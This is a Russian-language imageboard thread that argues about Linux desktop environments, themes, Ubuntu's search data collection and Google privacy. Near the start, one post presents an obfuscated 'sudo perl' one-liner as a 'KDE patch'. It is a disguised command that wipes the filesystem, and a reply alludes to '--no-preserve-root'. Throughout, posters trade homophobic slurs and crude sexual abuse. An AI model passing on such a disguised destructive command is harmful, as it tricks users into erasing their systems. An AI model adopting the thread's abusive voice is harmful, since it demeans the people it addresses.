>названия не нра
>лого хуёвый
Ну наконец-то на /s/ появилась объективная критика.
Когда речь идет о внешнем виде, только лишь о том, как он воспринимается пользователем, это совершенно нормальная критика. Внутренности системы - это совершенно другое.
Проваливай нахуй, толстый зелёный пидорас.
Хуйню сказал.
Какую хуйню, псина? Все твои претензии скатываются к одному - оно не так выглядит. Да ты ебанутый что ли? Тем - сотни, коллекций иконок - сотни, в большинстве случаев установка всего этого добра в один клик на любое DE.
Мало тут тем с бессмысленнейшими срачами? Соси хуй в сперме и периодически кукарекай, такова твоя спермяжная доля.
Очевидно, ты, как и подобает местному агрессивному быдлу, даже не прочитал мой пост. Тем нормальных НЕТ, к иконкам претензий не было вообще. Я пытаюсь найти хорошее DE-решение, а ты катись обратно срать в свою 66-ю резервацию или сколько там уже их. Тебе здесь не рады.
> Тем нормальных НЕТ
Еще раз обоссал тупую, безмозглую мразь, с кривыми руками. Соси сперму, чушка.
http://gnome-look.org/ http://cinnamon-spices.linuxmint.com/themes http://www.ubuntuthemes.org/ http://kde-look.org/ тысячи их.
попробуй KDE-патч.
echo "kde-light --enable" | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
> 2015
> не занать, что кдепатч не работает без --no-preserve-root
поссал на ньюфага
DE не нужно.
KDE помоему самое продуманое DE посравнению с тем же гномом и темболее юнити, да и вообще чем хорошь линух тебе не навязывают, ты сам выбираешь
XMonad.
На линуксе с 2004-кун поясняет за популярные ДЕ
KDE - функционально(даже очень), есть куча приложений, каштомизабельно, легковесно(300 мб памяти)
GNOME - каштомайза 0, на любое действие нужно накатывать РАСШИРЕНИЯ, нестабильно, при функционале уровня xfce потребление ресурсов уровня кед, но лук енд фил годный. Не мышевозный
XFCE - легко, малофункционально(это прощается за легковесность), есть некий базовый набор программ(мидори и пр), медленно пилится
LXDE/QT - недодее. Опенбокс с набором слабо связанных приложений от васяна666. При этом у LXQT требования взвинчены сильнее чем у крысы
EDE - пиздец как легко, внешне выглядит как клон винды 95/98/2000, свой тулкит(fltk), есть набор приложений уровня xfce(дилло в качестве браузера например), олсо используется в миниксе как дефолтное ДЕ
CDE - в своё время был супер пупер, сейчас эталонная некрофилия.
MATE - переименованный GNOME 2. Сейчас пилят под гтк3. Относительно неплохо, я бы сказал лучше крысы. Под "протекторатом" Linux Mint
Cinnamon - форк гномощели. Сильно косит под КДЕ, цель прожекта - взять всё лучшее от гнома 2 и 3. Также как и мате пилится командой минта
GNU Emacs - очень даже неплохо, есть интегрированность, много приложений искаропки, можно найти всё нужное под него при желании
Enlightenment - ОЧЕНЬ МНОГО свистоперделок, но при этом потребление ресурсов уровня той же крысы, написан на своём тулките. В некоторой степени новаторский. Внезапно при всём этом стал не очень то и нужен
KDE - функционально(даже очень), есть куча приложений, каштомизабельно, легковесно(300 мб памяти)
GNOME - каштомайза 0, на любое действие нужно накатывать РАСШИРЕНИЯ, нестабильно, при функционале уровня xfce потребление ресурсов уровня кед, но лук енд фил годный. Не мышевозный
XFCE - легко, малофункционально(это прощается за легковесность), есть некий базовый набор программ(мидори и пр), медленно пилится
LXDE/QT - недодее. Опенбокс с набором слабо связанных приложений от васяна666. При этом у LXQT требования взвинчены сильнее чем у крысы
EDE - пиздец как легко, внешне выглядит как клон винды 95/98/2000, свой тулкит(fltk), есть набор приложений уровня xfce(дилло в качестве браузера например), олсо используется в миниксе как дефолтное ДЕ
CDE - в своё время был супер пупер, сейчас эталонная некрофилия.
MATE - переименованный GNOME 2. Сейчас пилят под гтк3. Относительно неплохо, я бы сказал лучше крысы. Под "протекторатом" Linux Mint
Cinnamon - форк гномощели. Сильно косит под КДЕ, цель прожекта - взять всё лучшее от гнома 2 и 3. Также как и мате пилится командой минта
GNU Emacs - очень даже неплохо, есть интегрированность, много приложений искаропки, можно найти всё нужное под него при желании
Enlightenment - ОЧЕНЬ МНОГО свистоперделок, но при этом потребление ресурсов уровня той же крысы, написан на своём тулките. В некоторой степени новаторский. Внезапно при всём этом стал не очень то и нужен
кстати, поясните за "недодее".
Пояснить за термин или сами недодее? Термин - ДЕ с оче малой функциональностью и набором программ. Сорт оф то же LXDE.
Ему дали выбор, а он и тут обосрался. Лель.
У тебя весь бугурт сводится к тому, что ты не можешь что-то изменить, хотя линукс по сути своей конструктор.
Почти все рабочие среды довольно гибки в настройке прибитые гвоздями юнити и гном не в счет - изменить логотип, шрифты, отключить сливную ручку или настроить горячие углы - дело двух команд/кликов. С темами тоже проблем нет, не нравится - сделай сам. Deviantart пестрит затюненными до неузнаваемости десктопами.
У под рукой весь необходимый функционал, осталось только его задействовать.
Мой XFCE на пике кстати. Меню с поиском, на левый верхний угол всплывают миниатюры окон (типа как expose в компизе, настроил с помощью skippy-xd). При этом все среда остается реактивной и отзывчивой.
>конструктор
Такое говно только поехавший мог придумать, нет вкуса даже
> Unity - один большой-большой зонд.
Так ведь зонд можно не устанавливвать\удалить\выключить.
Бля, на эти парашные сайты даже заходить не хочу. Пошло оно нахуй после этого
http://www.linux.org.ru/news/gnome/4318473/page8
)))
Никто не заставляет инсталляторы запускать. Все темы вручную ставятся.
То есть вирусы могут быть только в инсталляторе?
Виросы могут быть в любом васянском скрипте. Темы — обычные неисполняемые файлы, их можно качать хоть с какой-нибудь русторки.
Ахаха один созрел
Ждем когда остальные дозреют по-поводу левых реп.
Это же какой праздник когда тысячи апт-гетчиков и убунтят подхватят какое-нибудь говно.
Ждем когда остальные дозреют по-поводу левых реп.
Это же какой праздник когда тысячи апт-гетчиков и убунтят подхватят какое-нибудь говно.
Хорошо, а то я уже обосрался и удалил gnome-look из закладок. Спасибо.
мимо-месяц-на-ленсуксе
Посоны, а в официальном репозитории могут быть левые вредоносные пакеты?
> Unity - один большой-большой зонд.
Все мужское население земли - геи!
Не геи, но би с рождения - это точно.
Пакеты в официальном репозитории подписываются конкретным мейнтенером. Если зловред и появится, то есть конкретное лицо, отвечающее за его появление.
Смотря какой репозиторий. Если это репозиторий Windows или Ubuntu, то может.
Спосибк.
Какой такой репозиторий Windows? И почему в убунту может быть вредоносное по?
>Какой такой репозиторий Windows?
ZVER
>И почему в убунту может быть вредоносное по?
Не может по определению. Просто парень наслушался хайпа и подхватил его. Убунту самый популярный линукс дистрибутив на сегодняшний день. У них на кону банальная репутация. Обвинения что убунту это зонд абсолютно тупорылые потому что есть выбор установить\ не установить\ выключить если установлено\удалить (это я о связи с амазоном).
>Какой такой репозиторий Windows?
Вот такой, например: https://chocolatey.org/packages
Или вот такой: http://windows.microsoft.com/en-us/windows-8/apps
>И почему в убунту может быть вредоносное по?
Потому что хозяин убунты разрешил.
Но ведь ДЕ используют только колясочники и спермобляди, тру-пердоликам достаточна лишь голая консолечка.
Штульман.жпг
Штульман.жпг
>Какой такой репозиторий Windows?
>есть выбор установить\ не установить\ выключить
Тебя не спрашивали, есть ли выбор. Тебя спрашивали, может ли вредносное ПО быть в репах. Давай, попытайся рассказать, что его там нет.
Его там нет
Кул стори, колясочник. А откуда тогда берётся dash, в настройках по умолчанию являющийся зондом, если не из реп?
Почему?
Если уточка не может жить без мышкотаскательных телодвижений, то ей для управления окошками достаточно какого-нибудь WM, DE — это свистоперделки и не более того.
Вредоносного быть не может.
Есть ПО которое отправяет анонимную информацию которое можно не устанавливать либо отключить.
Вангую поисковиками ты не пользуешься, они же тоже собирают информацию.
Так что свою подмену понятий оставь себя или учи матчасть.
>ПО которое отправяет анонимную информацию
А при чём здесь dash? Он отправляет любую информацию в строку поиска информацию, не предупреждая и не запрашивая разрешения.
>любую информацию введенную в строку поиска информацию
Fix.
тебя нахуй послали, но до тупого спермохохола не дохолдит
Но ведь это не вредоносное ПО.
У тебя там будто информация богов что тебя это так ебет.
>проигнорировали высер
>в мыслях родилось сомнение, а не унизил ли он меня перед всеми
клавиатурный снифер не вредоносное по? ну ок, хуле.
>клавиатурный снифер
>вредоносное по
Тогда строка поиска гугл тоже клавиатурный снифер.
И нет в данном случае это не вредоносное по потому что никакого вреда она тебе не приносит и приносить не может.
а впрочем ладно. для неиспользования стоковой убунты достаточно несовместимого с элементарным вкусом и здравым смыслом юнити. пусть шаттлврот клаву топчет, молчаливое, необразованное большинство все равно выберет мышедроч, а лучше - пальцетык.
те, кому юнити норм и в плане самой концепции уж точно на таргетированный спам внимания не обратят. алсо, навязывание услуг тут никаким боком? может есть какой лоер-кун чтоб пояснить?
те, кому юнити норм и в плане самой концепции уж точно на таргетированный спам внимания не обратят. алсо, навязывание услуг тут никаким боком? может есть какой лоер-кун чтоб пояснить?
> высер
Это ты по отношению к бомжихе, которая тебя высрала.
>И нет в данном случае это не вредоносное по потому что никакого вреда она тебе не приносит и приносить не может.
вот чего точно быть не может - когда вася решает за петю, что для пети будет вредом, а что нет.
строка гугла - да. к счастью сейчас у меня нет надобности гуглить из-под тора, но прежде была. потому что иногда тебе нужны вещи которые никогда не были и не будут легальны, а гугл пишет свою историю мира, и хз кто ее потом станет читать перед сном.
а так да. честному человеку не нужен быстрый интернет - он же не будет качать пиратское. по той же причине не нужны винты большого объема. и никакая приватность не нужна - ведь честному человеку нечего скрывать.
а если честно - я не понимаю чем кроме вмешательства жидорептилоидов объяснить что гугл еще существует, а руководители не расстреляны.
Спасибо за пояснения, 3 мегабайта чая тебе.
>GNOME нестабильно
О какой версии гнома мы сейчас говорим?
Все сводится к тому, что, чтобы изменить одну незначительную вещь, иногда приходится не просто лезть в документацию, а вкатываться к код, курить его долго и упорно, дописывать, а затем при каждом обновлении проверять свои патчи, не сломали ли они что-нибудь. Это неприемлемо.
Вред он для всех вред, на то он как бы и вред.
Либо скажи мне чем оно может навредить, я с радостью признаю свою не правоту.
>клавиатурный снифер
>строка поиска гугл
Это называется шпионское ПО, которое считается вредоносным. У гугла так дохуя денег, что любое обращение мамкиного американца по это поводу провалится. Плюс он защищает себя строками в лицензионном соглашении, которое сюрприз-сюрприз никто не читает.
он все правильно тебе пояснил, чухан
Поддвачну.
>а так да. честному человеку не нужен быстрый интернет - он же не будет качать пиратское. по той же причине не нужны винты большого объема. и никакая приватность не нужна - ведь честному человеку нечего скрывать.
Ну у нас\вас еще не такие копирайтерские законы чтоб это на данный момент могло тебе чем то насолить. Ну и в принципе меня подобные проблемы не касаются. Хотя все же считаю что данная проблема надуманна.
>а если честно - я не понимаю чем кроме вмешательства жидорептилоидов объяснить что гугл еще существует, а руководители не расстреляны.
С чего бы ему не существовать? Ведь ты оставляешь на самом деле много информации даже банально совершая покупки(физические). У тебя прям паранойя. С другой стороны знаешь из зол я бы выберал меньшее (ибо блять в реальности особо не повыбераешь). Имхо контекстная реклама или персанализированная выдача гораздо меньшая хуита нежеле реклама по средствам полиграфии и зомбоящика.
Смотри почему я не могу назвать это ВРЕДОНОСНЫМ ПО. Скажем у тебя в софте произошел критический збой. Программа предлагает тебе выслать анонимный отчет о твоей пекарне чтоб потом индусы писали патчи. Опять же собирается определенная информация. Но этот акт не является вредоносным. Другое дело когда снифер пиздит у тебя кридитную карту и снимает твой хасл. Все же по для сбора информации не тоже самое что вредоносное по. Тут контекст определяет все. Ты же не будешь утверждать что огонь вредоносный хотя его можно использовать в виде напалмика как страшное оружие. И опять же чего тебе ерепенится будто даже при самой анальной зондированности твой пак с картинками кому то усрался.
+И немного мимо инфы. Мой знакомый работал одно время в эмайти, как и большенство тамошних баловался хацкерством. Тонкостей я тебе описывать вам не буду НО! Если вами реально кто заинтерисуется вам нихуя не поможет. Ибо по ту сторону забора сидят не глупые люди с деньгами. Любой код уязвим потому что человеческий фактор. Такие дела.
Ты любишь гей-порно. Гугл собрал информацию о том, какие сайты ты посещаешь и передал твоему работодателю. Работодатель - та еще пидораха, выгнал тебя на мороз за поддержку гомосятины. Гугл: "да лан четы))) это ж просто сайты вобще хуйня XD да пох впринципе все ровно ты меня не сасудиш)) некто не посчетает это вредом".
>заинтерисуется
Блядь, зачем я вообще ввязался в общение с тобой. Проигнорируй мой пост. Фу, фу, пшел вон, кыш от меня.
Гугл не даст информацию твоему работодателю.
Нормальной конторе похуй гей ты или нет, важно лишь то как ты справляешься с обязанностями.
Так что твой пример притянут за уши.
Отличный план Б при отсутствии аргументов.
>сначала пояснил, затем обоссал
>отсутствии аргументов
Ясно.
Гном - тоже зонд, но местным спермолям похуй. С ним идут, например, онлайн-аккаунты и geoclue.
>Любой код уязвим потому что человеческий фактор
>человеческий фактор
>код уязвим
Ловите наркомана.
>иногда тебе нужны вещи которые никогда не были и не будут легальны
Нет, не нужны. Нелегальны у нас только вещества, снафф, уроки самовыпиливания, цэпэ и рецепт бонбы. Можно начать с того, что гуглу похуй на твою заинтересованность веществами, и закончить тем, что все остальное правильно делают, что запрещают.
>гуглу похуй на твою заинтересованность веществами
Вера ананимаса.
Вдогонку этой пидорашке: можно благодарить б-га за то, что рашка и сшашка вечно враждуют. Фибиай может кошмарить английскомовних сколько угодно, вся макова в том, что наши медкие проделки они никогда не выдадут враждебной фээсбе.
Только не юзайте пейсбук.
Да да, Серега тут же побежит докладывать ФСБ, что какая-то пидорашка из сибиру ищет где бы купить марки.
Твой неумелый сарказм не добавляет ни капли фактов в дискач. Давай лучше добавлю я.
http://www.digitaltrends.com/home/googling-how-to-murder/
http://www.lasvegassun.com/news/2014/oct/23/metro-police-officer-arrested-child-pornography-co/
http://reason.com/blog/2013/08/01/innocent-couple-gets-visited-by-feds-aft
Если гугл интересуется убийствами, детской порнографией и, возможно, даже рюкзаками со скороварками лол, то почему бы ему не интересоваться веществами?
Ну и где же факты того как FBI арестовывает россиян за поиск веществ?
>FBI арестовывает россиян
А при чём здесь FBI? Раньше это была ФСБ, а ещё раньше о силовых структурах речи вообще не шло. Так что заканчивай перескакивать с темы на тему.
Я, за неимением прямых пруфов с россиянами и веществами, привёл доказательства того, что гуглу не похуй на другие преступления в других странах.
Ты в защиту своей позиции не привёл вообще никаких пруфов.
Пиздец, у них зависимости ебанутые, поудалять просто так не получится. Котаны, можно как-то удалить зависимый пакет без нарушения работоспособности остальных?
А теперь фаталити, чтобы вы не ставили у вас в любом случае будут проблемы с внешним видом софта, потому что зачастую он либо на GTK+ либо QT. Почти никто не пишет свой граф. стек, вот от этого у меня сука бомбит, я так хочу пересесть на линукс+асом или какой ни будь и3, хдм но сука эти зависимости, нахуй, нахуй. Лучше хакинтош накатить если есть охота пердолится в консольке, такой-то юникс вей ещё на стадии инсталяции и пост, с ебатнёй кекстов и кернел паникапривет амд господам
Что ты несешь, уебок? Тебя зависимые пакеты за пятки кусают? Сил нет твой детсадовский бред читать.
Хочет пересесть на осом и мешают ему зависимости.
Проблемы есть только с уебищным не гтк/кт софтом в плане однородного внешнего вида, для гтк и кт однородный вид не проблема.
Сам кт умеет в поддержку гтк, а для кт есть божественный кткурв. Пиздуй на говноедикс и не возвращайся никогда.
Аминь.
>Проблемы есть только с уебищным не гтк/кт софтом в плане однородного внешнего вида
Вот об этом я и толкую.
> для гтк и кт однородный вид не проблема.
Хуйню сказал. Кутишное говно некорректно отображает большинство гткашных тем.
i3
/thread
/thread
Говно.
> Гном до ужаса минималистичен - практически ничего нельзя настроить через GUI
Анальная ограда от быдла, для их же блага.
> но примитивные вещи должны настраиваться быстро и просто
Это искаропки. Или у нас с тобой разные понятия примитивного. "Продвинутые" примитивы настраиваемы через gnome tweak tool. Вынесено в отдельную софтину для тех, кому это нужно. Поверь, это нужно далеко не всем.
> Опять нет нормальных тем, маленькие кнопки.
Вообще пушка. Отсоси мне (покайся) и больше не пиши серьёзных заяв после поверхностного ознакомления с субьектом.
> В третьей версии добавили еще макоподобное меню слева.
И что тебе не нравится? Оно же там непостоянно, и это очень удобно.
> Во втором Гноме
Он больше не сопровождается.
> Гному не хватает плоскости
Ещё одно пушечное высказывание. Специально для тебя прилагаю эти скрины.
> Хочется пересесть на Линукс окончательно, но его обложка отторгает.
Линукс, как и весь FOSS, предусматривает возможность сделать с ним то, что тебе угодно. Линуксовых обложен это напрямую касается. Если тебе не по нраву ни одна из "обложек" с какими-либо готовыми решениями — пожалуйста, есть OpenBox — возможность абсолютного, тотального и всепоглощающего распердоливания данного WM "исключительно под себя", как и много часов увлекательной ебли гарантированны. И всё же, это самая дебильная отмазка от перекатывания на линукс, которую я слышал в жизни
Посоны, подскажите, сидел на awesome, но вротебал lua (слишком много синтаксического сахара и вообще привычных для других языков возможностей нет), пробовал другие вм, но как-то не сложилось (то трей лагал, то расположения ебанутые).
Реквестирую советов годных по тайловым ВМ, щито подскажите?
И трейнинужен, а как тогда быть с скайпом/дропбоком например?
Реквестирую советов годных по тайловым ВМ, щито подскажите?
И трейнинужен, а как тогда быть с скайпом/дропбоком например?
Нет, это исключено, в офы никого просто так не добавляют.
> Анальная ограда от быдла, для их же блага.
То есть сейчас признал, что гном для быдла.
> не пиши серьёзных заяв
Нет аргументов @ спиздани что-нибудь
> субьектом
Вообще даун. Дальше можно было и не читать, ну да ладно, я добрый сегодня.
> И что тебе не нравится?
Было бы лучше, если бы эти приложения сразу были при открытии активитей
> Специально для тебя прилагаю эти скрины
Окно поиска, дурачок. Читай внимательнее.
> много часов увлекательной ебли гарантированны
Вот именно об этом я и говорил. НА-ХУЙ не нужна эта ебля для сраного интерфейса. Только формошлепы со второго курса могут это поддерживать и защищать.
> гарантированны
>слишком много синтаксического сахара
т.е. нету сахара и возможностей
быстрофикс
> То есть сейчас признал, что гном для быдла.
Конечно, и для быдла в том числе. Гном — окружение массового использования. Он для всех.
> Нет аргументов @ спиздани что-нибудь
Мои аргументы можно найти по адресу gnome-look.org
> Было бы лучше, если бы эти приложения сразу были при открытии активитей
А сейчас это работает не так?
> Читай внимательнее.
Пиши яснее. В тексте как сказано — "гному", а не "окну".
> даун
И вообще это не окно а поле, так что сам ты даун.
> НА-ХУЙ не нужна эта ебля для сраного интерфейса
> Только формошлепы со второго курса могут это поддерживать
Детектирую я в тебе василия, который ничего не знает ни об интерфесах, ни об их разработке, ни об open source и философии UNIX в целом. Пошёл прочь.
> гарантированны
> каковы?
> "нн" по правилам
Очевидный xmonad
> Мои аргументы можно найти по адресу gnome-look.org
Ну давай приведи сюда 2 аргумента. Два. Или обосрешься?
> А сейчас это работает не так?
Нет, сейчас очевидно полоска с приложениями отображается.
> Детектирую я в тебе василия, который ничего не знает ни об интерфесах, ни об их разработке, ни об open source и философии UNIX в целом. Пошёл прочь.
Опять вскукарек без намека на смысл. Ну оно-то и понятно - аргументы еще в том посте закончились.
> "нн" по правилам
Краткое страдательное причастие, неуч.
> И вообще это не окно а поле, так что сам ты даун.
Какому гному, что ты несешь? Тебе на мягкий указали, даун.
> Два.
Скользкая тема, ибо дело вкуса, да и я не знаю, для чего тебе тема нужна, для GTK, Gnome Shell, Metacity, Cinnamon или Compiz. Но ладно, держи для шелла (!осторожно, имхо).
http://gnome-look.org/content/show.php/xenlism+%3A+minimalism?content=164735
http://gnome-look.org/content/show.php/viva-3.14+%28orange%2Bblue%29?content=167066
> Нет, сейчас очевидно полоска с приложениями отображается.
Могу и её убрать, пикрилейтед. на самом деле, у меня другие обои, не хочу ими здесь светить часто
> Опять вскукарек
Тебе делать нехуй, ты мне скажи? Окей, покормлю тебя уёбок. Давай разберём по частям. Ты в своём посте утверждаешь, что не хочешь ебаться с настройкой интерфейса, тебе нужно что-то стандартное и костыли — ок, но обвинять разработчиков OpenBox в том, что они — недоразвитая студентота, могут только дебилы, которые не то, что допилить его, даже настроить не в состоянии. Это говорит о том, что ты не разбираешься в разработке интерфейсов. Более того, возможности OpenBox делают его очень конкурентособобным кандидатом среди оконных менеджеров в силу его мощности и настраиваемости. И сейчас, когда ты говоришь, что "только формошлепы со второго курса могут это поддерживать", ты выдаёшь свою некомпетентность даже в основах этой темы. Проще говоря, в интерфейсах не разбираешься. Философия UNIX же заключается в том, что никто не имеет права решать за тебя, что будет в твоей операционке, а чего не будет. Следуя этому принципу, разрабы OpenBox тебе поставляют детали конструктора, из которых ты сам лепишь то, что ты хочешь, оставляя ненужные тебе детали в стороне. На фоне этого, твои заявляения по поводу того, что OpenBox — недоВМ, только потому что нужно с ним пердолиться выглядят нелепо. Сразу ясно, что в open source ты мало что понимаешь.
> Какому гному, что ты несешь? Тебе на мягкий указали, даун.
Это я к тому, что по хуйне могу и я доебаться. Иди нахуй.
> Могу и её убрать
Шутки шутками, но я и правда не могу вчехлить, чего ты хочешь-то? Чтобы док был видим всегда? А нахуя?
Мне похуй, гткговно использую минимально, а там где использую везде гтк2, курва отлично справляется. Проблемы гномодебилов — проблемы гномодебилов. У вас там даже между версиями гномоговна темы ломаются, о чем и говорить.
гном 3 сам по себе не удобен его как будто гвозьдями пребили, это зависит от твоей некрофилии, или xcfe или kde ну это для меня например, просто ты может болеешь и пользоваться другим DE
Чем же?
Хотя для неосиляторов всегда есть овсом.
> gnome
> unity
Как там ваши зонды в жопке? Не жмут?
> unity
Как там ваши зонды в жопке? Не жмут?
Хз, накатил сейчас вместо арча убунту на медиа сервер и хочу сказать, что удобно.
>зонды в жопке? Не жмут?
>хочу сказать, что удобно
Лол.
У тебя полагаю паспорт есть или свидетельство о рождении? Возможно даже справка об окончании школы. Черт побери, да у тебя даже может быть ИНН.
Если тебя это утешит, то можно настроить одинаковую тему для qt и gtk, и после этого использовать klipper в гноме каком-нибудь.
И да, KDE3 было охуенным.
когда моё железо устареет, куплю макинтош нахер
Если на каждый из этих ДЕ накатить компиз, то буде заебись вообще.
И? Заканчивай мысль, не обсирайся на полпути.
Мамку твою ебал.
Слив засчитан.
Поздравляю, ты слит.
Что, мои харчки на личике не нравятся, униженная чмоша?
Так есть или нет?
Все копротивляешься, говноед? Поздно, ты обоссан.
NYET
Как ловко ты пытаешься скрыть свои слёзки проекциями.
BOMŽA OTVET!
Тред не читай@сразу отвечай
Кеды только кажутся медленными - на практике оказываются шустрее мате с корицей, не говоря о щели. Про удобство и свистелки с перделками даже и говорить нечего.
> Это я к тому, что по хуйне могу и я доебаться. Иди нахуй.
> по хуйне
Думаешь я не читал это? Меня не интересует, только как получить исходники из репо. Меня интересует, как сделать его форк.
Сам понял что сказал?
двач опять гугл капчу запрашивает, это что значит ддос?
>Погружаюсь в Linux почти месяц
Типичный ОБВМ и страдания свитчера. Ставь КЕДы и не еби мозг себе и людям
/тдендж
Типичный высер хипстерка. Скрой и не позорься.
>коко кукарек ко DE кукарек
Съеби, быдло.
>А еще у нее до сих это уродское меню пуск как в Windows 7
Балмер, залогинься.
Балмер, залогинься.
Так точно. Мне нужно создать собственный репозиторий из ихнего. На гитхабе это делается в один клик. Но у них свой собственный гит.
git clone и есть создание собственного репозитория.
Зачем тебе репозиторий, мерзкий пердолик? Ты же даже не знаешь, что это такое, только кнопочки щёлкать умеешь.
>XMonad
Иди нахуй, умник.
xmonad - конструктор оконного менеджера, а не DE.
Если ты такой умный для таких вскукарекиваний, то где DEmonad, твою мать? Кстати, надеюсь, никому и никогда не придет в голову писать DE на продожениях /continuations/
И вообще, имхо хаскел не подходит для конструирования ДЕ - заебешься ставить всякие mtl-2.1.2, transformers-9.9.9.9 и прочие полугрруппы чтобы поставить удобную фичу.
</пригорело>
Нихуюсеньки, ты создаёшь себе локальную копию этого репо. Мне же нужен такой же, только на своём сервере.
По себе не судят.
>такой же, только на своём сервере
Делай git clone на сервере. Ты по-прежнему не знаешь, что такое репозиторий.
GNU/Linux - операционная система командной строки.
Desktop Environment == NULL
>использовать что-то кроме кде
Раковые проблемы. Если за 10 лет не сделали патч, значит, никому это нахуй не нужно.
>Если за 10 лет не сделали патч, значит, никому это нахуй не нужно.
GTK это такой говнокод что приходится использовать компоненты KDE для диалогов открытия сохранения файлов KGtk (Use KDE Dialogs in Gtk Apps) http://kde-apps.org/content/show.php?content=36077 .
> Desktop Environment == NULL
false
что, соснул, быдлокодер?
>GTK это такой говнокод
Это не причина отсутствия превьюшек.
Причина в том, что это нужно только раковым дурачкам, не умеющим в большинстве своём в кодинг.
>
>Причина в том, что это нужно только раковым дурачкам, не умеющим в большинстве своём в кодинг.
Нет, просто в проекте гтк-гноме нет профессиональных программистов, т.к. они долбоёбы и тупо копируют стиль мака с отсутствием опций.
> долбоёбы и тупо копируют стиль мака с отсутствием опций
Так все джуниоры, кстати, делают.
Кеды выглядят как спермовинда что не радует, в гноме кошерный, относительно самобытный не мышевозный интерфейс. И ещё над гномом ред хет работает, а не комьюнити пердоликов
>значит, никому это нахуй не нужно
Ну мне, например, нужно.
>огромный многолетний проект
>нет профессиональных программистов
Ясно.
>не сделали окошко выбора смешных картинок
>НИПРАФИСЕНАЛЫ ТУПЫЕ ЖУНИОРЫ
Понятно.
Делай патч. Не можешь? Значит, ты никто :3
Гном сделан для планшетов и выглядит как гомомак, но дауны, имея ПК, продолжают унижаться и жрать говно. Такова суть гномосеков. Даже Линус перешел на кеды, а дауны давятся.
>Гном сделан для планшетов
Первая картинка с гномохига: https://developer.gnome.org/hig/stable/
Я, похоже, о гноме больше чем гномосеки знаю.
>не мышевозный интерфейс
Всё что касается оболочки делаю через Alt+F2. А интерфейсу приложений на среду насрать. Где твой бог теперь?
>Делай патч.
Сначала надо на недодэйе переходить, а это мне дюже неохота.
А, ты об этой хуйне, всё ещё по недоразумению называемой гномом. Тогда ладно.
Вот видишь, и тебе не надо.
> Ну тип все должны на кедах сидеть, так всё и планировалось изначально.
> GNOME 3 != GNOME
Лол, а гномощель, у вас там, случаем не падает?
>Всё что касается оболочки делаю через Alt+F2
рекомендую вендовую кнопку пукс, что между контролом и альтом. зачем себя обманывать?
Пукс у меня забинден на другие, горазо более важные задачи. Да и в винде сейчас раннер по Puks+S запускается.
>горазо более важные задачи.
режим "мамка в комнате"?
Чо?
Откуда я знаю? Я вообще кросс-тулкитовый openbox-бог, зашёл сюда с DEбилами поговорить.
>Чо?
Из нити дискуссии получились примерно следующие выводы: зачем тебе ебаться ради фичанэйм, если можно просто поставить кеды.
> зачем тебе ебаться ради фичанэйм, если можно просто поставить кеды
Это прямо в точку. Большинства DE-специфичных проблем просто не существует в кедах.
другой анон
> DE-специфичных проблем просто не существует
И сразу обсерушен. Кнопки свернуть/развернуть/закрыть уебанские и нормальных, как в гноме3, так и не сделали.
Может, лучше сразу Windows купить?
>DE-специфичных проблем
Это какие?
>Кнопки свернуть/развернуть/закрыть
Вут? Это как раз в гноме если господин хигобиблия запретила рисовать крестик на диалоговых окнах, так хоть в лепёшку расшибись, а вернуть их не дадут.
кеды - ДЕ ради ДЕ. кнопка пукс правда хорошо зделана, если постоянно юзать меньше десятка приложений. ну так и оставили бы этот пукс посреди экрана, нахуя там все остальное.
Куплена, таземто.
А что с ними не так? Недостаточно огромные?
> Это какие?
Ну например недавняя эпопея с переключением раскладки в говноме.
Нормальные кнопки и говнистая моча.
Так может теперь самое время съебать на неё в страхе?
>эпопея с переключением раскладки в говноме
Это та, привыкшие к сперме хозяина нелюди доказывали, что Shift+Alt должен переключать раскладку не сразу по нажатию, а после полного цикла нажал-отпустил?
КРУГЛЫЕ, блеать, КНОПКИ.
Даже боюсь узнать, какие по-твоему где.
Нормальные и говнистые, что непонятного? У тебя еще более уебанские, без обид.
Нормальные ты в Windows-треде найдёшь, на остальных ОС по определению нормальных кнопок быть не может.
Ну давай разберем твои Windows.
>XP
Квадратное большое некрасивое говно.
>Vista
Аэро-хуита без анимации.
>7
Говну прикрутили анимацию, но лучше не стало.
>8
Здесь внезапно хорошо сделали.
>10
Ничего не изменилось. Вообще охуеть прогресс.
>XP
>Квадратное
Ты чё несёшь, пёс?
>говно
>хуита
>говно
И? От этого кнопки в Windows не перестают быть нормальными, неграмотное ты быдло.
Найди скриншот с искпичешкой сюда, псина.
Девоньки, не ссорьтесь. Эти кнопки вообще не нужны, как и верхняя панелька у окон в целом.
> кококо мне нечего ответить, попытаюсь обвинить в чем-нибудь, пусть это даже и будет пиздежом
Неграмотное быдло ввязалось в дискач, попытав опровергнуть очевидное (Windows — норма) и обоссалось в штанишки, найс.
> Неграмотное быдло
Второй раз какаешь мимо горшка без пруфов? Быдло во всей красе.
Без пруфов того, что ты неграмотное быдло? На, почитай на досуге http://ru.wikipedia.org/wiki/Норма_%28характеристика%29
Может быть, ощутишь разницу между «хороший» и «нормальный», а пока посрал мимо горшка тебе на лицо ещё раз.
Лол, тебя препод выебал на этой сессии что ли? Посикал тебе в глазницы.
http://ru.wiktionary.org/wiki/%D0%BD%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9
Гуманитарный студентишка проецирует. Сам по своей ссылке сходил?
>такой, как другие; обычный, соответствующий норме
http://ru.wiktionary.org/wiki/норма
>общепринятый порядок
>обычное положение вещей
Теперь ссысь в штанишки и пытайся доказать, что 90% спермы на десктопах это не обычное положение вещей и что ширпотреб ОС не норма.
> тупой гуманитарий сделал вид, что не обосрался жиденько и не заметил обычный
Сейчас, наверное, смищные картиночки постить будешь, ибо аргументов у тебя, я смотрю, уже нет :3
>обычный
>пытайся доказать, что 90% спермы на десктопах это не обычное положение вещей
Продолжай.
Давай-ка конкретно, какие именно кнопки тебе нужны? Ответ "нормальные" не принимается.
Ну что, манька, продолжишь обсираться или все-таки предоставишь пруфы?
Ты тупой что? Он показал тебе 2 вида кнопок, которые ему нравятся и не нравятся.
> DE-специфичная проблема
> дефолтный скин декоратора
А с тобой сложно спорить.
А, так надо каквгноме.
>самое время съебать на неё в страхе
Съебу, манюша, когда понадобится запустить какую-нибудь win-специфичную писечку.
А как эта тема в гноме называется?
->
>пруфы того, что ты неграмотное быдло?
>пруфы того, что ты неграмотное быдло?
Так что будут оправдания по поводу и попытки лизнуть мне, чтобы я тебя не чмырил сильно, или нет?
->
Нет, ты будешь дальше пытаться рассказать, что это не твоё говнецо не в твоих штанах.
